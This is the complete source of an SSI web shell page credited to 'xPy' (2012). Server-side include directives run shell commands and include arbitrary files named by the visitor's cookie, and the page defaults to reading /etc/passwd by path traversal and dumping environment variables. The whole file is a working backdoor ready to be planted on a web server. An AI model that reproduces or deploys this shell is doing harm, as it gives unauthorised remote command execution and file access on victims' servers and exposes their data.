<!--#config errmsg="[Error in shell]"--> <!--#config sizefmt="bytes"--> <!--#if expr="(\"$HTTP_COOKIE\" = \"\") || (\"$REQUEST_METHOD\" != \"GET\")" --> <!--#set var="shl" value="ls -al" --> <!--#else --> <!--#set var="shl" value=$HTTP_COOKIE --> <!--#endif --> <!--#if expr="(\"$HTTP_COOKIE\" = \"\") || (\"$REQUEST_METHOD\" != \"POST\")" --> <!--#set var="inc" value="/../../../../../../../etc/passwd" --> <!--#else --> <!--#set var="inc" value=$HTTP_COOKIE --> <!--#endif --> <title> SSI Web Shell edit by xPy</title> <script language="javascript"> function doit( mode ) { if( document.cookie != "" ) { var cookies = document.cookie.split( ";" ); for( var i = 0; i < cookies.length; ++i ) document.cookie = cookies[ i ] + ";expires=Thu, 01 Jan 1970 00:00:00 GMT"; } document.cookie = document.getElementById( mode ).value; document.location.reload(); } function toggle( id ) { document.getElementById( id ).style.display = (document.getElementById( id ).style.display == "none") ? "block" : "none"; } </script> <body bgcolor=#e4e0d8 alink=blue vlink=blue> <div align=center width=100% border=0 style=background-color:#D4D0C8;>
<font size=+2><a href=http://wWw.xPy.VN>SSI Web Shell</a></font>
</div>
<div align=left width=100% border=0 style=background-color:#D4D0C8;>
<u><font size=+1 onclick=toggle('inf'); style=cursor:hand;>Common info</font></u>
<div id=inf style=display:none;>
<font color=blue>FILE NAME</font>:&nbsp;&nbsp;&nbsp;<!--#echo var=DOCUMENT_NAME -->
<font color=blue>FILE URL</font>:&nbsp;&nbsp;&nbsp;<!--#echo var=DOCUMENT_URI -->
<font color=blue>Owner</font>:&nbsp;&nbsp;&nbsp;<!--#echo var=USER_NAME -->

</div> </div>
<div align=left width=100% border=0 style=background-color:#D4D0C8;>
<u><font size=+1 onclick=toggle('env'); style=cursor:hand;>Enviroment info</font></u>
<div id=env style=display:none;>
<pre> <!--#printenv--> </pre>
</div> </div>
<div align=left width=100% border=0 style=background-color:#D4D0C8;>
<u><font size=+1 onclick=toggle('shl'); style=cursor:hand;>Command for shell</font></u>
</div> <div align=left width=100% border=0 id=shl style=background-color:#D4D0C8;<!--#if expr="\"$REQUEST_METHOD\" != \"GET\"" -->display:none;<!--#endif -->>
<font color=blue>Enter command</font>:&nbsp;&nbsp;&nbsp;
<input type=text size=80 id=command>&nbsp;<input type=submit value=Run>

<font size=+1>Result</font>

<font color=blue>Executed command</font>:&nbsp;&nbsp;&nbsp;<!--#echo var=shl -->
<textarea bgcolor=#e4e0d8 cols=121 rows=15> <!--#exec cmd=$shl --> </textarea> </div> <div align=left width=100% border=0 style=background-color:#D4D0C8;>
<u><font size=+1 onclick=toggle('inc'); style=cursor:hand;>Operations on files</font></u>
<div id=inc <!--#if expr="\"$REQUEST_METHOD\" != \"POST\"" -->style=display:none;<!--#endif -->>
<font color=blue>View file (virtual include)</font>:&nbsp;&nbsp;&nbsp;
<input type=text size=80 id=vfile>&nbsp;<input type=submit value=Run>

<font color=blue>Included file</font>:&nbsp;&nbsp;&nbsp;<!--#echo var=inc -->
<font color=blue>Size</font>:&nbsp;&nbsp;&nbsp;<!--#fsize virtual=$inc -->&nbsp;bytes
<textarea bgcolor=#e4e0d8 cols=121 rows=15> <!--#include virtual=$inc --> </textarea>
</div> </div>
<div align=center width=100% border=0 style=background-color:#D4D0C8;>
<font size=+1><a href=http://wWw.xPy.VN>(c) xPy</a></font>
<small>2012, v1.0</small>
</div>